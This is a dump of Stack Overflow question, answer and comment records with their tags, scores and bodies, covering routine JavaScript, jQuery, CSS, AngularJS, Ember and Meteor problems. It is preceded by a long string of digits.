0.002200220022002200220022002200220100002100210000110101000202201120201212110212202011212000102021022210120112001022101010120202020022102010100200210110010000202221001022002202102122102110002012010220202020011000222022001200102102202000112022010100102211212012122021012212120012120012221210011021010220200001202121120022222110111121112201212111120221121001002221210000221022021012220020112022001121012011001112000001101100101011002201210200110202021021120211100100210120010202222111221201201100002211002202000110011221210210210011100022221101221122020011212000210012121000022200220112022011102202112002210111220122000110…
has comment: http://stackoverflow.com/comment/40272970
answers question: http://stackoverflow.com/q/25602799
accepted answer of: http://stackoverflow.com/q/25602799
upvote count: 5

http://stackoverflow.com/q/25568776
tagged with: jquery
has answer: http://stackoverflow.com/a/25569098
score: 0
accepted answer: http://stackoverflow.com/a/25569098
has comment: http://stackoverflow.com/comment/39930894
tagged with: http://stackoverflow.com/tag/html
tagged with: css
type: AnsweredQuestion
has title: adjust html element size to maximum browser size
type: Question
answer count: 1
has body: Hello I have a small question. Not sure how to ask this, but I hope u will understand what I mean... I have a small website with an embed video on it and by a click of a button I can toggle between the sizes of an element var small=true; function toggle() { if(small){ document.getElementById('frame').width = 1000; document.getElementById('frame').height = 600; document.getElementById('change').innerHTML = "Smaller!"; small=false; } else{ document.getElementById('frame').width = 640; document.getElementById('frame').height = 360; document.getElementById('change').innerHTML = "Bigger!"; small=true; } } The smaller size will always be 640*360, which is also the default size, so I don't want to mess with that, but the bigger size should adjust according to the screen-size. The bigger size is now hardcoded to look good on my 15' laptop but (ofcourse) isn't big enough on my external monitor. So my question is... How do I change this little code so when the user clicks the button it will toggle between 640*360 and maximum screen size of a current user? (I dont mean fullscreen, but maximum browser size). Screens Thank you very much s_
tagged with: javascript

http://stackoverflow.com/q/25609842
has comment: http://stackoverflow.com/comment/40006581
has comment: http://stackoverflow.com/comment/40006696
has answer: http://stackoverflow.com/a/25609898
tagged with: http://stackoverflow.com/tag/json
has comment: http://stackoverflow.com/comment/40006551
type: Question
has comment: http://stackoverflow.com/comment/40006614
has comment: http://stackoverflow.com/comment/40007051
has comment: http://stackoverflow.com/comment/40006713
has answer: http://stackoverflow.com/a/25609911
tagged with: javascript
tagged with: jquery
tagged with: ajax
score: 0
answer count: 3
has body: EDIT: I fixed the errors with the PHP that have been mentioned in Answers but I still have the same problem. I'm trying to display an error message if my POST request fails, and to show a success message if it doesn't fail. It currently shows the success message correctly, but nothing happens if I make the sql fail, even in console. JQUERY: // I have removed unnecessary code $("#form").validate({ ignore:'', errorPlacement: function(error, element) { error.insertAfter(element.parent()); // &lt;- make sure the error message appears after parent element (after textbox!) }, rules: { }, messages: { }, submitHandler: function(form) { var datastring = $("#form").serialize(); $.ajax({ type: "POST", url: "myscript.php", data: datastring, dataType:"json", success: function (response) { if(response.status === "success") { window.alert(response.comment); } else if(response.status === "error") { window.alert(response.comment); } } }); // close $.ajax } // close submit handler }); //end validate PHP: if($row = sasql_fetch_array($insert)) { //success message $arr = array ('status'=&gt;'success','comment'=&gt; $custid ); echo json_encode($arr); } else { //error message $arr = array ('status'=&gt;'error','comment'=&gt;'There has been an error. Please try again.'); echo json_encode($arr); } Does anyone have any ideas about what the issue could be here? Like I said, if I add console.log(JSON.stringify(response)); just after the success function, nothing at all is returned on the error array. Thanks
has answer: http://stackoverflow.com/a/25609967
has comment: http://stackoverflow.com/comment/40006656
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40006606
has title: JQuery Ajax JSON error reporting on $.ajax post success
tagged with: php

http://stackoverflow.com/a/25572585
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25572379
type: Answer
score: 1
has body: Because you are applying an accordion to all the &lt;a&gt; elements: $( "#accordion, a, #xxx" ).accordion({...}); If you leave them out your SVG links work fine. $( "#accordion, #xxx" ).accordion({ collapsible: true }); Fiddle: http://jsfiddle.net/c4tdtvaf/3/
answers question: http://stackoverflow.com/q/25572379
upvote count: 1
type: AcceptedAnswer

http://stackoverflow.com/a/25578161
has comment: http://stackoverflow.com/comment/39955074
type: Answer
has comment: http://stackoverflow.com/comment/39967080
has comment: http://stackoverflow.com/comment/39957094
has comment: http://stackoverflow.com/comment/39955105
score: 0
has comment: http://stackoverflow.com/comment/39961187
answers question: http://stackoverflow.com/q/25576394
has body: If there are multiple MyApp instances then you can do the following: //IIFE creating it's own scope, HomePage constructor // is no longer globally available ;(function(){ var HomePage = function(urls,app){ this.urls=urls; this.app=app; } HomePage.prototype.doSomething=function(){ console.log('urls:',this.urls,'app:',this.app); } //assuming window is the global window.MyApp = function(urls){ this.name='app name'; this.homePage=new HomePage(urls,this); } }()); var app = new MyApp(['url one','url two']); app.homePage.doSomething(); If you only have one app and that app only has one homePage object you can do it the following way as well: var app = { name:'app name' ,homePage:{ urls:['url one','url two'] ,doSomething:function(){ console.log('urls:',this.urls,'app:',app); //or console.log('urls:',app.homePage.urls,'app:',app); } } } app.homePage.doSomething(); More on constructor functions, prototype and the value of this here.

http://stackoverflow.com/q/25653609
has answer: http://stackoverflow.com/a/25653684
has comment: http://stackoverflow.com/comment/40086597
has comment: http://stackoverflow.com/comment/40087864
answer count: 1
has title: Stop executing a real time graph plot with delay in javascript
has comment: http://stackoverflow.com/comment/40098404
accepted answer: http://stackoverflow.com/a/25653684
type: AnsweredQuestion
tagged with: settimeout
score: 0
tagged with: cleartimeout
has body: I am new to JavaScript, and I am still getting used to the way it works. I have a function that plots a real time graph that is constantly updated by taking the data from a database query, done with the following code: watch = setTimeout(function() { updateGraph(parameters, ...); },updateTimeInterval); The graph update takes some time to execute and that of course also depends on the value of updateTimeInterval. For example, if updateTimeInterval is set to 1000 ms, the plot is updated with a new value in 8 s (per average), while if it is set to 5000 ms, the plot is updated in 15 s. This update happens until a stop button is pressed which stops the plotting process. function stopPlotting() { clearTimeout(watch); } This works correctly only if the stop button is pressed at the correct moment, i.e., before the start of the execution of the function inside the setTimeout. In my opinion, things are becoming more complicated due to the delay in the execution of this function. Naturally, one would like the plotting to simply stop automatically with the press of the stop button, without waiting for the "right" moment. Is there any way that this can be realized with JavaScript? I couldn't find any solution to this problem. Thanks! EDIT: updateGraph() is a function in which the data is retrieved from the database. As soon as it has the data, the function redraws (updates) the graph with the newest information. This happens continuously, based on the time delay specified with setTimeout. The graph will be updated forever until someone presses that stop button. EDIT 2: I have set a flag in several places in the updateGraph() function that returns false if the value of the flag changes. The value of the flag is changed in the stopPlotting() function before clearTimeout(). This actually did the trick, the plotting of the graph stopped. However, a new problem appeared: if now I would like to plot the graph again from the beginning, this would not be possible. This is because the v…
type: Question
has comment: http://stackoverflow.com/comment/40098574
tagged with: javascript
has comment: http://stackoverflow.com/comment/40087011

http://stackoverflow.com/comment/40148673
type: AnswerComment
score: 0
type: Comment
has text: &RobG, thanks for the code. Worked like a charm. Thanks to @Rocket Hazmat for the pointer to the timezone code as well. It will come in handy because we have projects that go across multiple timezones.
comment on: http://stackoverflow.com/a/25676657

http://stackoverflow.com/q/25618000
type: Question
downvote count: 0
tagged with: javascript
tagged with: jquery
tagged with: asp.net
has body: I am trying to create a 3-level cascading dropdown list in asp.net MVC 4 using jquery. Selecting an item in the first dropdown populates the second dropdown but the new value in the second dropdown has no effect on the third. Does anybody know how to fix this? Your help would be much appreciated! I have tested both of the functions individually and they work fine, just not together. &lt;script type="text/javascript" src="/Scripts/jquery-1.7.1.min.js"&gt;&lt;/script&gt; &lt;script type="text/javascript"&gt; function getStateNames(BN) { $.ajax({ url: "@Url.Action("StateNames", "DropDownlist")", data: {CountryName: CN}, dataType: "json", type: "POST", error: function() { alert("An error occurred."); }, success: function(data) { var items = ""; $.each(data, function(i, item) { items += "&lt;option value=\"" + item.Value + "\"&gt;" + item.Text + "&lt;/option&gt;"; }); $("#State").html(items); } }); } $(document).ready(function(){ $("#Country").change(function () { var CN = $("#Country").val(); getStateNames(CN); }); }); function getCityNames(SN) { $.ajax({ url: "@Url.Action("CityNames", "DropDownlist")", data: { StateName: SN }, dataType: "json", type: "POST", error: function () { alert("An error occurred."); }, success: function (data) { var items = ""; $.each(data, function (i, item) { items += "&lt;option value=\"" + item.Value + "\"&gt;" + item.Text + "&lt;/option&gt;"; }); $("#CityName").html(items); } }); } $(document).ready(function () { $("#StateName").change(function () { var SN = $("#StateName").val(); getCityNames(SN); }); });
favorite count: 0
has title: 3-level cascading dropdown list - JQuery
answer count: 0
type: UnansweredQuestion
upvote count: 1
score: 1

http://stackoverflow.com/comment/40157412
type: QuestionComment
score: 1
has text: might not be able to rummage back up and see if it's inside an object, or an iframe, or whatever, but it SHOULD be able to detect the height/width of its own container, without ever knowing exactly what that container really is.
comment on: http://stackoverflow.com/q/25692641
type: Comment

http://stackoverflow.com/comment/39958870
score: 0
type: Comment
type: QuestionComment
has text: Your code is still showing only *fragments* of how you do it. You don't show how `input` gets a value. You do show how `inputField` gets a value but not `input`, which is a different variable.
comment on: http://stackoverflow.com/q/25583641

http://stackoverflow.com/comment/40059703
has text: I want the action to be built into the ngResource, this is only one model of many. ngResource does a really great job at that, but fails only at this point until now
type: Comment
comment on: http://stackoverflow.com/a/25638578
score: 0
type: AnswerComment

http://stackoverflow.com/comment/40109584
comment on: http://stackoverflow.com/q/25665744
type: Comment
type: QuestionComment
score: 1
has text: zooming and panning needs specific api. They could be json web services or end points which return the required data to generate the charts. Further, you could make use of libraries that embrace the idea of WebSockets like SignalR. Of course, keep in mind your app needs to be designed in a specific way for that.

http://stackoverflow.com/q/25668548
has comment: http://stackoverflow.com/comment/40114049
has answer: http://stackoverflow.com/a/25668773
favorite count: 0
has comment: http://stackoverflow.com/comment/40113562
has body: I am trying to float elements left. Here is my css: width: 320px; float: left; border: 1px solid #ccc; margin-top: 10px; margin-right: 10px; border-radius: 5px; My Generated Output But i want to show my div in this format like Please help me out. How do I prevent the vertical gap using CSS?
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/25668763
tagged with: css
has title: How do you float elements without a vertical gap?
has comment: http://stackoverflow.com/comment/40113413
score: 2
has answer: http://stackoverflow.com/a/25668594
has comment: http://stackoverflow.com/comment/40113682
has answer: http://stackoverflow.com/a/25668761
type: Question
has answer: http://stackoverflow.com/a/25668867
has answer: http://stackoverflow.com/a/25668648
answer count: 8
has answer: http://stackoverflow.com/a/25668814
tagged with: javascript
upvote count: 2
has comment: http://stackoverflow.com/comment/40113182
has answer: http://stackoverflow.com/a/25668607
downvote count: 0

http://stackoverflow.com/a/25956516
has body: You can do this purely in CSS. First, as you said.. yes you need @media type, using a external CSS file. In your CSS file, it may look like this: @media all { .class #id } the @media all header is for all other screens, other than the ones you specify. It is like a base set. For specific ones, see the format below: @media screen @media screen and (min-width: 1278px) and (max-width: 1282px) { #id .class } Adding ids and classes between the two parenthesis above, will specify special rules that will overwrite the rules written in @media all header and would come into effect only on the screen whose width is between 1278px to 1282px, so as you can see we are here targeting a screen of 1280px x XXX height {12 inch typical low-end netbook} The trick to your question is the meta structure however. Lets suppose we have 4 pictures of 400px square. Giving a total width of 400+400+400+400=1600px. So on a 800px width screen, only two pictures would be shown in line 1, and remaining 2 on the second line. If yo were to apply flex-box without proper html markup, you might end up with a transition, where only the right most item moves to the second line. From what I understand from your question, that you want the transition however to be 2 items moving to second line like best buddies. Something like this: becomes The correct Markup would something like this: Content1 Content2 Content3 Content4 and the correct CSS is: #Container { position: relative; width: auto; min-width: 800px; display: flex; flex-flow: row wrap; } #Inner { position: relative; display: inline-block; } #Box { position: relative; display: block; } The flex container is something new with HTML5, so I have personally experienced some glitches. You might have to change the position of #Box to 'static' instead of 'relative', and writing nothing might not work either (in which case it should default back to static, but I have seen instances where it doesn't. I'm very sure that what I have written above is what you ne…
answers question: http://stackoverflow.com/q/25651448
score: 0
type: Answer
has comment: http://stackoverflow.com/comment/40653998

http://stackoverflow.com/q/25551252
tagged with: indexof
tagged with: arrays
tagged with: javascript
accepted answer: http://stackoverflow.com/a/26219139
has comment: http://stackoverflow.com/comment/39897817
upvote count: 1
answer count: 1
has title: atomic indexOf bug with searchElement derived from video currentTime
has comment: http://stackoverflow.com/comment/39932588
favorite count: 0
has answer: http://stackoverflow.com/a/26219139
has comment: http://stackoverflow.com/comment/39898379
has comment: http://stackoverflow.com/comment/39898458
has body: I am confused by the unpredictable results of array indexOf in current release Chrome 37.0.2062.94 on a mac. It appears that array.indexOf is not working sometimes when the searchElement is created using a video element's timecode. To see the error, let the video play for a few seconds and then playback will stop when the array.indexOf error occurs. It seems that this is a bug in an atomic operation? Is there something I am overlooking? Here is a bin http://jsbin.com/lobifotoxeyi/1/ &lt;!DOCTYPE html&gt; &lt;html&gt; &lt;video id="video"&gt; &lt;source id="mp4" src="http://media.w3.org/2010/05/sintel/trailer.mp4" type="video/mp4"&gt; &lt;/video&gt; &lt;script&gt; var trippedBugTimes = 0; function tick() { var nowTime = document.getElementById('video').currentTime; //this seems to be crucial... if val is just assigned 100, we don't get the bug. var val = (nowTime - nowTime) + 100; //this also seems to be important.. we cannot put val in as the sole member of the array, it has to be a different variable. var a = [100]; var idx = a.indexOf( val ); if (idx == -1) { console.log( "*bug*", "idx -&gt;", idx, "val -&gt; ", val, "a -&gt;", a, "a[0] === val -&gt;", a[0] === val, "typeof a[0] -&gt;", typeof a[0], "typeof val -&gt;", typeof val ); document.getElementById('video').pause(); trippedBugTimes += 1; } if (trippedBugTimes &lt; 100) { requestAnimationFrame(tick); } else { console.log( "Bug reporting complete" ); } } requestAnimationFrame(tick); setTimeout( document.getElementById('video').play(), 1000 ); &lt;/script&gt; &lt;/html&gt;
type: AnsweredQuestion
downvote count: 0
has comment: http://stackoverflow.com/comment/39898192
score: 1
tagged with: google-chrome
has comment: http://stackoverflow.com/comment/39897559
type: Question

http://stackoverflow.com/a/25666679
score: 0
type: AcceptedAnswer
has body: You can use a solution based on postMessage You'll have to include some JavaScript in the iframe and on the parent page as well. In your iframe : window.addEventListener("load", function() { parent.postMessage(getDocumentHeight(), "*"); }); In your parent page : function receiveIframeHeight(frameWindow, height) { $("iframe").each(function () { if (this.contentWindow === frameWindow) this.height = height; }); }; window.addEventListener("message", function (e) { receiveIframeHeight(e.source, e.data); }); You can now listen to the resize event and postMessage from your iframe to the parent page. But beware of infinite loop. To see the whole code you should take a look at this Github repo iframe-autoheight-using-postmessage
type: Answer
accepted answer of: http://stackoverflow.com/q/25666407
answers question: http://stackoverflow.com/q/25666407

http://stackoverflow.com/q/25631356
has body: I am coming across the below error when I try running the node js script I have written $ node script1.js module.js:338 throw err; ^ Error: Cannot find module '/Users/dir1/dir2/script1.js' at Function.Module._resolveFilename (module.js:336:15) at Function.Module._load (module.js:278:25) at Function.Module.runMain (module.js:501:10) at startup (node.js:124:16) at node.js:811:3 Is there something I am missing on including?
type: Question
has comment: http://stackoverflow.com/comment/40046312
has answer: http://stackoverflow.com/a/25633749
has answer: http://stackoverflow.com/a/25691841
accepted answer: http://stackoverflow.com/a/25691841
answer count: 2
has title: Error: Cannot find module '/Users/dir1/dir2/script1.js'
upvote count: 0
tagged with: javascript
favorite count: 0
possible better answer: http://stackoverflow.com/a/25633749
tagged with: node.js
type: AnsweredQuestion
score: -3
downvote count: 3

http://stackoverflow.com/a/25612455
score: 0
answers question: http://stackoverflow.com/q/25588577
type: Answer
has body: I think you missed my point - if I defined it as: ABC.Object1 = function Object1() {}; then the object might have a name of Object1 but then so would: XYZ.Object1 = function Object1() {}; And so the advantage of the "namespace" is lost. But to go back to my original post, when halted in the debugger the value of this is defined as ABC.Object1. How is the debugger determining this and is there a way for me to do the same?

http://stackoverflow.com/q/25574636
has answer: http://stackoverflow.com/a/25574691
type: Question
has title: Pass scope variable from directive to it's controller
has answer: http://stackoverflow.com/a/34898708
downvote count: 0
has answer: http://stackoverflow.com/a/25673102
tagged with: javascript
answer count: 3
possible better answer: http://stackoverflow.com/a/25574691
favorite count: 0
tagged with: angularjs
upvote count: 1
tagged with: angularjs-directive
type: AnsweredQuestion
has body: This is possibly easy, but I have browsed the different questions here on SO and in the Angular documentation and can't really find what I'm looking for. In a directive: function ssKendoGrid() { return { scope: { dataSource: "=" }, template: " ", controller: "ssKendoGridCtrl", } } That uses the controller: function ssKendoGridCtrl($scope) { alert($scope.dataSource); //other stuff } If I want to access the value of dataSource I assumed I'd be able to do something like this: MyController is: function myController($scope) { $scope.test = "Tested"; } But it comes as undefined when I try to alert($scope.dataSource); the value.. Now I know I can do this: And access it in the directive and controller like this: return { scope: { ssKendoGrid: "=" }, template: " ", controller: "ssKendoGridCtrl" } //In controller alert($scope.ssKendoGrid); But I would like to be able to pass in a JSON object to do various things with and this doesn't seem as clean as in the markup I'd like it to be more intuitive to look at the html and know what the dataSource is. What I'm really looking for is an understanding of what I'm doing wrong, why doesn't this work?? I've obviously not got the right understanding of how to pass various things to the isolated scope of the directive. SOLVED So, turns out I was using the wrong attribute name. HTML5 recognizes data- as a valid attribute, and Angular ignores the fact that data- is prefixed on the variable, which means that I would need to access the variable this way: HTML: JS: return { scope: { dataSource: "=source" }, template: " ", controller: "ssKendoGridCtrl" } Cheers
score: 1
accepted answer: http://stackoverflow.com/a/25673102

http://stackoverflow.com/comment/40119961
type: AnswerComment
comment on: http://stackoverflow.com/a/25665269
has text: Sure, SignalR is easy, and will cause less problems than UpdatePanel. I'm not sure what you mean by "for people who understand web architecture". Yes, clearly the OP doesn't have a solid understanding of how to implement this, but that doesn't mean we should provide him/her with poor solutions or discredit ones that work well due to unfamiliarity.
score: 0
type: Comment

http://stackoverflow.com/q/25608753
has answer: http://stackoverflow.com/a/25794976
favorite count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40018705
linked to: http://stackoverflow.com/q/24780854
score: 1
upvote count: 1
tagged with: knockout.js
has comment: http://stackoverflow.com/comment/40005893
type: Question
tagged with: polymer
has title: Using both Knockout.js and Polymer causes an error
tagged with: javascript
has comment: http://stackoverflow.com/comment/40057672
has comment: http://stackoverflow.com/comment/40030654
has comment: http://stackoverflow.com/comment/43557567
answer count: 1
has body: Hey I'm trying to use both polymer and knockout.js in one Html document, when I was only using knockout.js everything works fine,but as soon as I include the "platform.js" from polymer I recive the following errror message (only for Internet Explorer), Assertion failed which is caused when the data-binding is applyed: ko.applyBindings(new ActualActionsViewModel); Has someone experienced the same problem and ah a solution for me?
downvote count: 0

http://stackoverflow.com/q/25632079
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40047918
answer count: 0
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/40047882
has body: All I'm trying to do is copy the text that I generate in the js file when the copy button is clicked. I keep getting an error that it can't recognize the "$" but it looks like a loaded jquery? (Yes the jquery files are attached in the folder). This is the error I get: Uncaught ReferenceError: $ is not defined. manifest.json { "permissions": [ "clipboardWrite", // for copy and cut "clipboardRead", // for paste ], "content_scripts": [ { "js": [ "jquery-git2.js", "jquery.zclip.min.js", "feed.js"], "matches": [ "http://*/*", "https://*/*"] }] } extension.html Share this link to make a payment Copy feed.js function createNumber() { var roomNumber = Math.floor(Math.random() * 100000) + 999999 var base = "http://groupmoney.com/making?=" var urlfinal = base + roomNumber; var td1 = document.getElementById('description'); var text = document.createTextNode(urlfinal); td1.appendChild(text); } createNumber(); $("#copy").click(function () { $('#copy').zclip({ path: 'http://www.steamdev.com/zclip/js/ZeroClipboard.swf', copy: $('#description').text(), beforeCopy: function () { $('#description').css('background', 'yellow'); }, afterCopy: function () { $('#description').css('background', 'green'); } }); }); I'm not entirely sure if the copy to clipboard thing even works since it's flash on an extension. Any idea on how I can fix that? <- I think that's the bigger question.
type: Question
has comment: http://stackoverflow.com/comment/40047818
tagged with: javascript
tagged with: jquery
has title: Can't copy text generated in chrome extension?
upvote count: 1
tagged with: google-chrome-extension
favorite count: 0
has comment: http://stackoverflow.com/comment/40050732

http://stackoverflow.com/q/25619370
has body: I'm new to Ember.js and I'm trying to update a status variable in a model, but the view doesn't update when I do change it. This is the javascript code for what I'm trying to do: App = Ember.Application.create({}); App.EventBus = Ember.Object.extend({ eventBus: null, connect: function() { Ember.run.later(this, function() { App.Sessiondata.connection.status = "Online"; console.log("status: " + App.Sessiondata.connection.status) }, 2000) }.on('init') }); App.Router.map(function() { this.resource('home', { path: '/' }); }); App.Sessiondata = { connection : { status: 'Offline', statusClass: 'alert-error', retryInterval: 20000, maxAttempts: 5 }, user : { fullname: 'Dummy User', email: 'dummy@email.com' }, }; App.ApplicationRoute = Ember.Route.extend({ model: function() { return App.Sessiondata; } }); App.ApplicationController = Ember.ObjectController.extend({ eventbus: App.EventBus.create() }) And here is the jsfiddle: http://jsfiddle.net/k82Lhj0j/ The idea is to update the connection status once the eventbus is open. For this small test I'm ignoring the real eventbus code (it does work, but not really relevant for this test) and simply using a run.later to simulate similar behaviour. As you can see, the result is always "Status: Offline" while it should become "Status: Online" after 2 seconds. I'm probably doing something wrong in the spirit of how Ember.js works, but I don't see it.
type: Question
score: 1
upvote count: 1
answer count: 1
tagged with: javascript
has title: template output not updated when updating model
favorite count: 0
accepted answer: http://stackoverflow.com/a/25620137
tagged with: ember.js
has answer: http://stackoverflow.com/a/25620137
type: AnsweredQuestion
downvote count: 0

http://stackoverflow.com/q/25672890
has body: I'm playing around with Meteor and I'm having trouble trying to wrap my head around a few concepts. One of the issues I'm currently dealing with is I'm trying to build a dynamic heat map using Google and Meteor. I've got an external to Meteor Mongo database (i.e. not the local MongoDB that Meteor provisions) located on my computer and within the database I've got a collection that has many documents, each document has a latitude value and a longitude value. The problem I've having right now is that when I try and parse through the result set of the find() on my collection it's not getting populated and therefore my heatmap values aren't being drawn onto the screen. However, when I run the same command on the console I can get results. I figure the code and the data retrival running at the same time and one is beating out the other. //Global scope DestinationCollection = new Meteor.Collection("Destinations"); destinations = DestinationCollection.find(); if (Meteor.isClient) { Template.searchMap.rendered = function () { var airportData = []; var mapOptions = { zoom: 3, center: new google.maps.LatLng(45.4158, -89.2673), mapTypeId: google.maps.MapTypeId.HYBRID, mapTypeControl: false, panControl: false, streetViewControl: false }; var map = new google.maps.Map(document.getElementById('map-canvas'), mapOptions); var airportArray = new google.maps.MVCArray([]); destinations.forEach(function(destination){ airportArray.push(new google.maps.LatLng(destination.Geolocation.Latitude, destination.Geolocation.Longitude)); }); var heatmap = new google.maps.visualization.HeatmapLayer({ data: airportArray, radius: 20 }); heatmap.setMap(map); }; } The only solution I've come up with is to wrap the destinations.forEach with Deps.autorun: Deps.autorun(function(){ destinations.forEach(function(destination) { airportArray.push(new google.maps.LatLng(destination.Geolocation.Latitude, destination.Geolocation.Longitude)); }); }); This works but whenever I add a new document to the collection…
has answer: http://stackoverflow.com/a/25674054
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25674054
downvote count: 0
score: 1
type: Question
tagged with: mongodb
tagged with: google-maps
tagged with: javascript
has title: Meteor and Populating an Array with Values
upvote count: 1
answer count: 1
tagged with: meteor
favorite count: 0
tagged with: data-visualization

http://stackoverflow.com/a/25612518
has body: it seems this Gruntfile uses the sass plugin and not the compass plugin. You need to install the grunt-contrib-compass plugin, load it into the Gruntfile and add the task. You may replace the sass task by your compass task. Do not forget to replace also the references into the watch task.
has comment: http://stackoverflow.com/comment/40011531
has comment: http://stackoverflow.com/comment/40012434
score: 0
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25612435
has comment: http://stackoverflow.com/comment/40011457
answers question: http://stackoverflow.com/q/25612435
type: Answer

http://stackoverflow.com/comment/40138704
type: AnswerComment
comment on: http://stackoverflow.com/a/25681688
type: Comment
has text: The jsfiddle does'nt seem to work. But the directive for the linechart, uses a link. The data in the link hasn't been loaded yet, so the graph is trying to load an empty dataset. According to me, it loads to soon. Here is practicly all of the code in a jsfiddle (including the linechart directive)
score: 0

http://stackoverflow.com/q/25705136
linked to: http://stackoverflow.com/q/1543219
favorite count: 0
has comment: http://stackoverflow.com/comment/40180749
has title: How to switch to raw HTML in contenteditable for in place editing?
tagged with: contenteditable
upvote count: 2
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/26601707
downvote count: 2
has comment: http://stackoverflow.com/comment/40180698
score: 0
linked to: http://stackoverflow.com/q/8284588
has comment: http://stackoverflow.com/comment/40180660
has comment: http://stackoverflow.com/comment/40180706
type: Question
has comment: http://stackoverflow.com/comment/40180391
tagged with: userscripts
tagged with: javascript
has body: I'm writing a user script to edit the whole html page: one of the features I will include would allow to edit the selected text as raw HTML. This look easy, just insert at the beginning of the selection, and at the end. // from https://stackoverflow.com/a/8288313/2284570 var insertHtmlBeforeSelection, insertHtmlAfterSelection; (function() { function createInserter(isBefore) { return function(html) { var sel, range, node; if (window.getSelection) { // IE9 and non-IE sel = window.getSelection(); if (sel.getRangeAt && sel.rangeCount) { range = window.getSelection().getRangeAt(0); range.collapse(isBefore); // Range.createContextualFragment() would be useful here but is // non-standard and not supported in all browsers (IE9, for one) var el = document.createElement("div"); el.innerHTML = html; var frag = document.createDocumentFragment(), node, lastNode; while ( (node = el.firstChild) ) { lastNode = frag.appendChild(node); } range.insertNode(frag); } } else if (document.selection && document.selection.createRange) { // IE < 9 range = document.selection.createRange(); range.collapse(isBefore); range.pasteHTML(html); } } } insertHtmlBeforeSelection = createInserter(true); insertHtmlAfterSelection = createInserter(false); })(); function ConvertToRaw() { insertHtmlBeforeSelection(' '); insertHtmlAfterSelection(' '); } This would be invoked by alt+c when text is selected. invoking alt+c again would remove the tags which would have resulted to rendered version back. Since the tag is deprecated, how I can do this by scripting? If I encode the characters, it would be hard to decode them back without affecting previous ones...
has comment: http://stackoverflow.com/comment/40180794
has comment: http://stackoverflow.com/comment/40180420
answer count: 1

http://stackoverflow.com/q/25705226
accepted answer: http://stackoverflow.com/a/25705262
has title: Table columns: width, min-width, word wrapping and column "importance"
possible better answer: http://stackoverflow.com/a/25705279
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/25705279
tagged with: css
type: AnsweredQuestion
downvote count: 0
has answer: http://stackoverflow.com/a/25705262
score: 1
linked to: http://stackoverflow.com/q/11267154
has comment: http://stackoverflow.com/comment/40180408
type: Question
tagged with: javascript
has comment: http://stackoverflow.com/comment/40180454
answer count: 2
upvote count: 1
has body: I've got three columns in the table of width: 100%. 2nd and 3rd column should be width: 100px no matter what 3rd column should be as much as it needs (no wrapped lines), but nothing more. 1st column should consume all the remaining space. JSFiddle: http://jsfiddle.net/o66czLtj/4/ Please note both the 1st and the 4th column don't have the width specified, so their widths are counted automatically by the browser. However, I want the 1st column to be the most important, and take all the remaining space, but only after the 4th column was able to render itself without wrapping any lines. Actual: Expected: How to achieve this without hard-coding the width of the 1st or the 4th column? Perfectly with CSS only. Rationale: number of buttons in the 4th column is unknown. It may be 1, it may be 4.
has comment: http://stackoverflow.com/comment/40180455
favorite count: 0

http://stackoverflow.com/q/25655630
accepted answer: http://stackoverflow.com/a/25655799
answer count: 1
downvote count: 0
favorite count: 0
tagged with: angularjs
has answer: http://stackoverflow.com/a/25655799
has title: angularjs, existing javascript object shows null, how to?
tagged with: firebase
type: AnsweredQuestion
has body: I have a situation where when i console.log a object it shows to be null but in the same time to have some properties in it. I'm fallowing up this tutorial or in short: .factory('Auth', function ($http, $q, $firebase, FBURL, $location, $firebaseSimpleLogin, $rootScope) { var ref = new Firebase(FBURL); var auth = $firebaseSimpleLogin(ref); console.log(auth); var Auth = { signedIn: function () { return auth.user !== null; }, login: function (user) { return auth.$login('password', user); } }; $rootScope.signedIn = function () { return Auth.signedIn(); }; return Auth; }); and i get this: in this case, after authenticating, console.log(Auth.signedIn()); return false because the object in the log shows as null, but when i open to look inside i can see the properties what is this?
type: Question
score: 3
tagged with: javascript
has comment: http://stackoverflow.com/comment/40090383
upvote count: 3

http://stackoverflow.com/comment/39958106
has text: Well thank you, Matt. I would vote you up, but I don't yet have a reputation of 15! This was a very clear explanation and a definite step for me in my journey of understanding prototypal inheritance :D
comment on: http://stackoverflow.com/a/25583155
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/comment/39985523
type: QuestionComment
comment on: http://stackoverflow.com/q/25597981
has text: Thank you for siting my mistake. Basically the words displays properly when refresh. Only not working when the button is click. So probably the mistake here is in the ajax success.
score: 0
type: Comment

http://stackoverflow.com/comment/39927752
comment on: http://stackoverflow.com/a/25567252
type: Comment
has text: `0,60` will be treated as a number, but the number will be `0` because it stops parsing when it hits the `,`.
score: 0
type: AnswerComment

http://stackoverflow.com/q/25586686
answer count: 1
has comment: http://stackoverflow.com/comment/39964304
favorite count: 0
has body: When I use the code below, it gets very glitchy. After the animation is complete, I scroll and the page (document) bounces around. $(document).ready(function (){ $(' .nav, .learn-more').click(function(event){ $('html, body').animate({ scrollTop: $("#"+event.target.id+".featurette").offset().top }, 1000); }); }); Please see the demo on Codecademy.
type: AnsweredQuestion
tagged with: scroll
has answer: http://stackoverflow.com/a/25586960
downvote count: 1
type: Question
accepted answer: http://stackoverflow.com/a/25586960
has comment: http://stackoverflow.com/comment/39964192
tagged with: javascript
tagged with: jquery
score: -1
has title: Javascript animate() scrolling does not work as intended
upvote count: 0

image
tags question: http://stackoverflow.com/q/25655203
tags question: http://stackoverflow.com/q/25706941
tags question: http://stackoverflow.com/q/25608332
tags question: http://stackoverflow.com/q/25690641
tags question: http://stackoverflow.com/q/25654469
tags question: http://stackoverflow.com/q/25581838
tags question: http://stackoverflow.com/q/25651767
tags question: http://stackoverflow.com/q/25577618
tags question: http://stackoverflow.com/q/25629514
tags question: http://stackoverflow.com/q/25698211
tags question: http://stackoverflow.com/q/25576922
tags question: http://stackoverflow.com/q/25595036
tags question: http://stackoverflow.com/q/25682886
tags question: http://stackoverflow.com/q/25558964
tags question: http://stackoverflow.com/q/25587973
tags question: http://stackoverflow.com/q/25605476
tags question: http://stackoverflow.com/q/25645667
tags question: http://stackoverflow.com/q/25666949
